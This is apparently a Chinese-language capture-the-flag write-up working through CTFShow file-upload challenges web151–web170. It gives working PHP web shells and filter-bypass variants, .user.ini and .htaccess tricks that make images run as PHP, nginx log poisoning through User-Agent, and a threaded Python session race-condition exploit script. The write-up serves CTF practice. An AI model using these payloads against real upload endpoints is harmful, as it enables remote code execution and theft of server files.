CTFShow 文件上传

web151

先来上传一张正常图片发现不能上传jpg格式,可以上传png格式.并返回了上传路径: /upload/2.png

使用 Burp 抓包将一句话图片更改后缀为.php ,并成功返回了上传路径 /upload/yjh.php

蚁剑连接。

成功在上一级目录中找到了flag

也可以不用蚁剑,直接访问上传的文件,并post 传入 一句话木马的密码=你想构造的语句。

web152

后端校验要严密

上传图片马: 并抓包修改后缀

可见上传成功,似乎和web151一样,蚁剑连接或访问试试

当前目录没有,再试试上一级目录。

还是在上一级目录。

web153

仍然一样的页面

继续web152的套路试试

显示内容为 文件类型不和规,那肯定是对写入的内容进行了过滤。但是不知道过滤了哪些内容。

这题涉及到了一个新的内容: .user.ini 文件:简单来说是用户对环境的配置文件。

先上传 .user.ini.png 文件,抓包删除.png后缀

1
2
GIF89a // 文件格式,告知系统这是 GIF89a格式生成图形
auto_prepend_file=yjh.png // 要执行的文件名称,将yjh.png当作Php 执行

再上传 yjh.png木马

访问 /upload/index.php 文件

web154

仍然一样的页面

注意和前面一样需要上传 .user.ini 文件才能将 png解析为 php 文件。

上传一个图片马 yjh.png :

1
<?php eval($_POST[mm])?>

页面显示:文件上传失败,失败原因:文件内容不合规。

那么可能对文件内容做了过滤,试试PHP短标签,php有很多短标签但是只有

1
<?=(xxx)?>  = <?php echo (xxx)?>

这种形式的使用不受PHP配置的限制,其它几种形式需要PHP开启什么什么才能,不作展示,记不到了。我建议以后直接写这种短标签的形式。

修改 yjh.png 的内容为:

1
<?=eval($_post[mm]);?>

此时修改后的上传成功,并成功返回上传路径。

web155

上传界面仍然一样!

继续web154得套路试试:

先上传 .user.ini 文件 再上传 yjh.png

yjh.png :

1
<?=eval($_POST[mm]);?>

上传成功!蚁剑连接或者 访问 /upload/index.php 文件

web156

上传界面仍然一样!

继续web154得套路试试:

先上传 .user.ini 文件 再上传 yjh.png

yjh.png :

1
<?=eval($_POST[mm]);?>

哦豁,文件内心不合规,看来又是对什么字符进行了过滤。试试之后发现 把 中括号 [] 给干没了,换成大括号 {}

yjh.png

1
<?=eval($_POST{mm});?>

上传成功!蚁剑连接或者 访问 /upload/index.php 文件

web157

继续之前得套路先上传 .user.ini 文件,再传一句话又过滤了其他字符,那就不要一句话,直接 tac ../*

1
<?=system('tac ../*')?>

访问 /upload/index.php 文件

如图得到 flag, 同时 第二个红框 也显示出了过滤了哪些字符:

1
return !preg_match('/php|\{|\[|\;/i', $str);

web158

完全可以使用 web157中的方法得到 flag

最后得到过滤了 :

1
2
3
function check($str){
return !preg_match('/php|\{|\[|\;|log/i', $str);
}

web159

仍然和之前先上传 .user.ini 再上传yjh.png

1
<?=system('cat ../*')?>

此时显示 上传类型不合规,在上一题知道 过滤了 php, {, [, ;, log 那这里可能过滤了 system函数,换成其他试试:passthru, passthru也不对,那可能把小括号过滤了。

可以使用 反引号 `` PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回, 反引号与 shell_exec()函数功能一样。

1
2
3
<?=`nl ../*`?>
// tac, cat ,nl, less, 等等
// nl 需要查看源代码

访问 /upload/index.php

页面最后可以看到确实过滤了小括号 (

web160

继续使用 web159中 的方法失败,显示 文件类型不合规

这又不知道过滤了些什么东东。难搞。不查不知道,一查居然用nginx的日志包含来读取flag

首先还是先上传 .user.ini 文件,方法内容不变。

再上传 yjh.png:

1
<?=include"/var/lo".g."/nginx/access.lo"."g"?> // log 被过滤了,用 . (点号)拼接

访问 /upload/index.php 将得到 服务器日志信息:

日志成功读取了,接下来 修改 User-Agent的内容为:

1
<?php system("tac ../*");?>

修改 User-Agent:为 php 代码,再访问日志将会执行这行代码!

如图在网页根目录下修改,再访问 upload/index.php

如图得到 flag, 来看看到底过滤了什么内容:

1
return !preg_match('/php|\{|\[|\;|log|\(| |\`/i', $str);

也就多过滤了空格,反引号,所以,通过日志的方式前面几题应该也可以成功,所以,这种方法要记住!

web161

上传界面仍然没变。还是试试之前的方法,先上传 .user.ini 文件。

web160中的方法失败了,提示 文件类型不合规,这肯定又过滤了其它字符。看了wp才知道,这时使用了 getimagesize()函数,这个函数会检测图片的十六进制数来判断文件是否是真正的图片文件。

先来看看正常的 png 图片的是怎样的,winhex打开图片,下载连接:http://www.winhex.com/winhex.zip

如图所示显示为: 89 50 4E 47 0D 0A 1A 0A

因此需要将 原来的yjh 添加这串十六进制数来表示是正常的png图片!

如上图成功上传修改后的yjh.png文件。

现在访问 http://43999a00-fa05-4fa9-9215-5c1fdf53bd63.challenge.ctf.show:8080/upload/index.php

成功得到日志文件

接下来 修改 User-Agent 为 :

1
<?php system('cat ../*');?>

然后访问 upload/index.php 即可查看到上一级目录中的所有内容,同时过滤了什么东西也显示出来了。

过滤的内容:

如图:正则的过滤跟上一题比较没有变,而是在 文中 增加了 getimagesize() 函数!

web162

这道题,要利用seeiion条件竞争,在前面 **web82 **中有用到过此方法。且过滤了 小数点 号。

先上传 .user.ini 内容为:

1
2
GIF89a
auto_prepend_file=test

之前是读取 log 文件,这次 读取 .user.ini 中的 test

上脚本: session.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import io
import requests
import threading

sessID = 'test'
url = 'http://4aee5c93-e165-4911-bcc0-4c7d1b6961b8.challenge.ctf.show:8080/'


def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat ../*");?>'}, # 注意
files={'file': ('test.txt', f)}
)


def read(session):
while event.isSet():
response = session.get(url + '/upload/index.php') # 注意
if 'flag' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')



if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

成功读取到了 flag。

过滤的内容: 的确过滤 小数点 .

web163

web162

web164

不会,暂时不做。

web165

不会,暂时不做。

web166

发现这道题,居然可以通过上传 zip 压缩包包含一句话木马。

注意:Content-type: application/x-zip=compressed,需要要一样,直接更改后缀为 zip 抓包默认为这个,无需更改。

上传成功,访问下载链接:

如图所示,右键复制下载链接:

http://945a0766-6515-46a4-bbbf-88479bf12c3c.challenge.ctf.show/upload/download.php?file=28696a28293fe023a51d363d03303616.zip

然后蚁剑连接,在上一级目录即可拿到 flag。

web167

根据题目提示: httpd, 推测能否通过上传 .htaccess 将 jpg 解析为 php 从而拿到 flag?

首先先上传 .htaccess.jpg ,抓包后 将 jpg 改为 php

紧接着上传一句话木马: yjh.jpg

1
<?php @eval($_POST[lbwnb]);?>

如图所示上传成功:

然后读取flag:

web168

从提示“基础免杀”可以猜到一句话木马的变种写法/骚姿势写法(百度一下):

ex:

1
2
3
4
5
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

web169

根据提示可以看到为高级免杀但我不知道到底过滤那些东西所以我看了其他师傅的wp,都说利用日志读取flag。且只前端检查为只能上传 zip 文件。

准备两个文件分别是:

.user.ini.zip(抓包删除 zip再上传):

1
auto_append_file=/var/log/nginx/access.log

1.php.zip(抓包删除 zip再上传) 内容随意。

1
1

先上传 .user.ini

修改如下:

再上传 1.php 并修改:

然后将 一句话写入到 User-Agent:

然后访问 upload/1.php 并传参: 1=system(‘tac ../flagaa.php’);

如图所示得到了 flag。

web170

同 web169